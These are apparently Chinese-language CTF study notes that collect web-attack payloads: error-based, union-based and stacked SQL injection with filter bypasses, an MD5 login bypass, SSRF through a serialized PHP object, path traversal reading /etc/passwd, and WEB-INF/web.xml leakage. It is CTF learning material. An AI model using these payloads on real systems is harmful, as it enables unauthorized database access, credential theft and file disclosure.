1️⃣报错注入
sqladmin'or'1'or'1 //Login Success!!
admin'or(注入)or'1 //Login Success!!
'or(updatexml(1,concat(0x7e,database(),0x7e),1))# //空格被过滤用()
'or(updatexml(1,concat(0x7e(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))or'1
admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))or'1
admin'or(updatexml(1,concat(0x7e,(select(right(group_concat(password),25))from(H4rDsq1)),0x7e),1))or'1 //用了right函数从右边开始显示
select(mid(group_concat(password),20,40)) //mid函数
2️⃣ 绕过密码的md5验证
[GXYCTF2019]BabySQli
1'or 1=1# //被过滤
过滤了or、=、(、)、order
本道题目的逻辑是这样的,先判断其用户名是否正确,如果正确的话就判断密码,否则就会报错。
我们可以使用union select的特性——临时打印一张虚拟的表
1'group by 1# //3个字段 猜测 id,username,password
mysql在union联合查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5(password一般md5加密);
可以在用户名查询不存在的密码,来生成一个虚拟的密码,然而这个密码是我们可控的,就可以成功登录了
local test:
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.01 sec)
mysql> select * from users where username='2' union select 1,'admin',5 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 5 | 当我第一段查询不存在时,直接显示联合查询中的虚拟数据
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where username='admin' union select 1,'admin',5 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
| 1 | admin | 5 | 第一段查询数据存在时,结果集先返回存在的数据
+----+----------+----------+
2 rows in set (0.00 sec)
mysql>
admin存在 猜测要登入
密码123经过md5 32进制加密得到 202cb962ac59075b964b07152d234b70
构造payload
name=1'+union+select+1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
name=1'+union+select+1,'admin','827ccb0eea8a706c4c34a16891f84e7b'#&pw=12345
//12345加密后为 827ccb0eea8a706c4c34a16891f84e7b
name如果不等于admin才会往后查询,等于admin就不会查询后面了;
3️⃣handler堆叠注入
[GYCTF2020]Blacklist
mysql数据库中可以使用handler语句读取表中的数据
handler 要读取的表名 open (as 别名);
handler 名 read next;
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
handler 名 close;
尝试过输入select发现黑名单
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
发现可以堆叠注入
-1';show+databases;%23
-1';show+tables;%23 //FlagHere、words
-1';show+columns+from`FlagHere`;%23
发现有列名flag但是show不能显示具体的flag
-1';handler+FlagHere+open;handler+FlagHere+read+first;handler+FlagHere+read+next;handler+FlagHere+close;%23
若rename、alter没有被过滤可以将FlagHere表改成words表,
然后使用alter table将FlagHere表中的flag列名修改为words中的id列名,
然后通过原本的查询将flag查询出来,具体payload如下
?id=1';rename table words to word;rename table FlagHere to words;alter table words change flag id varchar(100);show tables;
?id=1' or '1'='1 //此时变成"id"的"flag"的值不是1
4️⃣空格绕过
/view.php?no=1 order by 4--+
/view.php?no=1 union select 1,2,3,4--+ //no hack
/view.php?no=1 union/**/select 1,2,3,4--+
/view.php?no=0 union/**/select 1,database(),3,4--+ //fakebook
/view.php?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' //users
/view.php?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users' //no,username,passwd,data 猜测1,2,3,4与之对应
/view.php?no=0 union/**/select 1,data,3,4 from users
// O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:2;s:4:"blog";s:13:"www.baidu.com";}
把'www.baidu.com'换成想要让服务端读取的:
/view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
//博客处存在SSRF 我们就在博客处进行打入 注意用引号包裹 将其作为字符串(字节序列)打入 实现反序列化
任意文件下载
读文件的函数:
fopen
fread
include
readfile
file
index.php?f=../../../../../../etc/passwd
index.php?f=../index.php
index.php?f=file:///etc/passwd
当参数 f 的参数值为php文件时,
若是文件被解析则是文件包含漏洞,若显示源码或提示下载则是文件查看与下载漏洞
WEB-INF/web.xml泄露
WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞成因:通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。
一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!
POST /Download?filename=WEB-INF/web.xml
尝试下载classes下的FlagController.class文件
payload:POST /Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
SSRF
产生SSRF漏洞的函数:
file_get_contents
sockopen
curl_exec()
payload1:
/view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
payload2:
/view.php?no=0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4
//利用load_file()函数